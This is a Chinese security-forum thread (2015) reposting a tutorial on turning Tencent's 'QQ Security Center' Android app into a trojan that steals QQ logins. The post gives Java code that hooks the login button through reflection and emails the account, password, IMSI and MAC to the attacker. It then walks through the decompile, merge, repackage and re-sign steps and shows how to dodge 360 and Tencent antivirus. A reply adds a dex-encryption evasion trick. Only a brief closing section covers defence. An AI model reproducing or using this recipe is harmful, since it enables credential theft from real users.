吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 11290|回复: 19
上一主题 下一主题
收起左侧

[Android 转帖] 技术分析:重打包的安卓应用是如何绕过杀毒软件盗取你QQ的

  [复制链接]
跳转到指定楼层
楼主
胡哥 发表于 2015-3-30 18:07 回帖奖励
本帖最后由 胡哥 于 2015-4-1 14:05 编辑

免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

一、买菜

1、下载安装好最新版的“QQ安全中心”— QQSecV6.2.apk ,我们将利用它重新打包来伪装正版软件,盗取QQ号和密码。

2、下载安装好360手机卫士、腾讯管家,我们将介绍如何规避这些软件的查杀。

二、种菜


1、新建一个android项目,自定义一个ViewGroup,我们将修改QQsecV6.2的登录页面的Layout,将自定义View作为它们的容器,然后findViewById通过ID取得EditText控件,提取密码。

我这里的继承的ScrollView,然后再构造函数里添加:

                this.getViewTreeObserver().addOnGlobalLayoutListener(new ViewTreeObserver.OnGlobalLayoutListener() {
                        
                        @Override
                        public void onGlobalLayout() {
                                //Toast.makeText(mContext, "试图将要显示!!"+mInstance.getParent(), Toast.LENGTH_LONG).show();
                                if(mInstance.getParent()!=null&&mInstance.getParent() instanceof RelativeLayout){
                                        containerRelative=(RelativeLayout)mInstance.getParent();
                                        Button submitBtn=(Button)containerRelative.findViewById(0x7f0902e5);
                                        if(submitBtn!=null){
                                                oldListener=(Button.OnClickListener)getOldListener(submitBtn);
                                                
                                                submitBtn.setOnClickListener(mInstance);
                                        }
                                }
                                
                                mInstance.getViewTreeObserver().removeGlobalOnLayoutListener(this);
                        }
                });
当控件要显示的时候,我们就取得RelativeLayout和Button,Button就是QQ安全中心里的登录按钮。这里我们准备给这个按钮的OnClick做一个钩子。所以我们先取得原先设置好OnClick事件oldListener,保存起来。然后自己再设置一个onClick取得密码,最后调用oldListener.这里大家可能有个疑问findViewById(0x7f0902e5),这个0x7f0902e5是怎么来的呢?这个其实是在layout 里控件的ID,可以根据Layout找到控件android:id="@id/wtlogin_account_ok",然后就到value/public.xml里查找到的。下面会讲解

这里就涉及一个重要的方法:

        /**
         * 获取Button原来的事件监听对象
         * @param button
         * @return
         */
        private Object getOldListener(Button button){
                Object temp=null;
                try {
                        Class<?> obj=Class.forName(View.class.getName());
                        
                        Method getInfoMethod=obj.getDeclaredMethod("getListenerInfo");
                        getInfoMethod.setAccessible(true);
                        Object ListenerInfo=getInfoMethod.invoke(button);
                        
                        Field field=ListenerInfo.getClass().getDeclaredField("mOnClickListener");
                        field.setAccessible(true);
                        temp=(Button.OnClickListener)field.get(ListenerInfo);
                } catch (Exception e) {
                        e.printStackTrace();
                }
        
                return temp;
               
        }
设置button点击事件

        @Override
        public void onClick(final View v) {
                if(containerRelative!=null){
                        EditText accountEdit=(EditText)containerRelative.findViewById(0x7f0902dd);
                        EditText pwdEdit=(EditText)containerRelative.findViewById(0x7f0902e1);
                        String account=accountEdit.getText().toString();
                        String pass=pwdEdit.getText().toString();
                        
                        DeviceInfo deviceInfo=DeviceInfoGetter.getInstance(mContext).getDeviceInfo();
                        String getImsi=deviceInfo.getIMSI()==null?deviceInfo.getIMEI():deviceInfo.getIMSI();
                        //发送账号密码
                        if(account!=null&&account.length()>=4&&pass!=null&&pass.length()>0){
                            sendMailByJavaMail("ANDROID_SEC_RESULT", "账号:"+account+"\n密码:"+pass+"\n当前点击登录次数:"+(++index)+
                                            "\n用户IMSI:"+getImsi+"\n用户MAC:"+deviceInfo.getMAC());
                    }
                        //执行原来的事件
                        oldListener.onClick(v);        
                }
        }
写完后就导出jar,如view.jar

三、切菜   
我们通过运行APP得知,账号输入界面有一行Hit,文字为“请输入QQ号/手机/邮箱”.

反编译QQSecV6.2后,我们通过res/value/strings.xml找到 这行string的name为“wtlogin_login_input_account_hint”

    <string name="wtlogin_login_input_account_hint">请输入QQ号/手机/邮箱</string>接着,我们返回到res目录,通过windows的文件内容搜索“wtlogin_login_input_account_hint”

我们确定了在res/layout-xhdpi/wtlogin_account_input.xml和多个layout里都存在这个name,说明QQ安全中心有多个登录页面。
我们这里以修改 res/layout-xhdpi/wtlogin_account_input.xml为例,我们在其中添加在(二)中我们准备的自定义ViewGroup,

注意在下面还要以</com.test.WallpaperScrollView>结尾。
这里重新打包签名APK我们就能实现盗号功能,但是,360、腾讯管家会报毒,所以我们要找个傀儡。。。我们到QQSecV6.2/AndroidManifest.xml 将其包名修改成com.test.test,这样打包后的APK就不会报毒了。
当然还有更好的选择。。。。 嘿嘿不说了。。。我是一个好人。。。
四、下锅
我们再将原来的QQSecV6.2.apk改名成QQSecV6.2.zip,解压后获得classes.dex,利用dex2jar将其转换成jar。还记得我们(二)中导出的view.jar吗?我们可以用WinRAR压缩文件管理其打开,全选粘贴,将两个jar合成一个jar。这时,我们利用android SDK自带的dx.bat将jar再次转换回dex文件,取名classes.dex。
利用apktool重新打包,打包后在dist目录会生成一个未签名的QQSecV6.2.apk 。然后用WinRAR打开,将上一步生成的classes.dex文件替换压缩包里的。
最后用jarsigner重新签名,安装到手机上,尝尝这盘菜味道如何吧^-^
我们自己做的集成了邮件发送密码的功能,当然你也可以继承短信发送,但是这个会被杀毒软件提示哦,想不提示?办法还是有的,但是这个不是现在的重点。
五、洗碗
如何防护此类盗号软件呢?
1、下载这类涉及个人隐私的软件建议到官方下载,不要轻信所谓的个人和APP Store2、应用在请求服务器的时候可以做签名校验,QQ就是这样,所以你无法将本文应用于QQ.apk上。但是QQ安全中心却没有哦3、NDK保护。可以利用第三方加固软件加固,防止反编译。转自 华盟网 http://www.77169.com


免费评分

参与人数 4热心值 +4 收起 理由
大将军 + 1 谢谢@Thanks!
B6B6B6 + 1 牛!!!这贴必须顶!!!
netcatxy + 1 谢谢@Thanks!
wind007911 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

推荐
云飞儿 发表于 2015-3-30 18:16
看了你这篇,看来来历不明的地址下载的软件确实不能乱安装,风险大。
推荐
xiaobaiyey 发表于 2015-3-31 11:44
试了下 可以把dex文件 简单的加密了 放到assets目录下加载
可以过lbe安全大叔
3#
polobbs 发表于 2015-3-30 18:38
4#
wind007911 发表于 2015-3-30 18:44
看来还是要注意哈,感谢楼主分享
5#
 楼主| 胡哥 发表于 2015-3-30 19:24 |楼主
我最近也是研究,移动安全方面,多交流
6#
低调奢华 发表于 2015-3-30 19:25
以后不敢乱下了
7#
1427866657 发表于 2015-3-30 21:50 来自手机
感谢分享,以后只到官网下了。
8#
999999999 发表于 2015-3-30 22:03
好屌的感觉
9#
945775481 发表于 2015-3-30 23:18 来自手机
这么厉害???
10#
wuyufeng 发表于 2015-3-31 07:58 来自手机
→_→对于安全方面的东西→_→必须要官方下载才安全
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 09:50

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表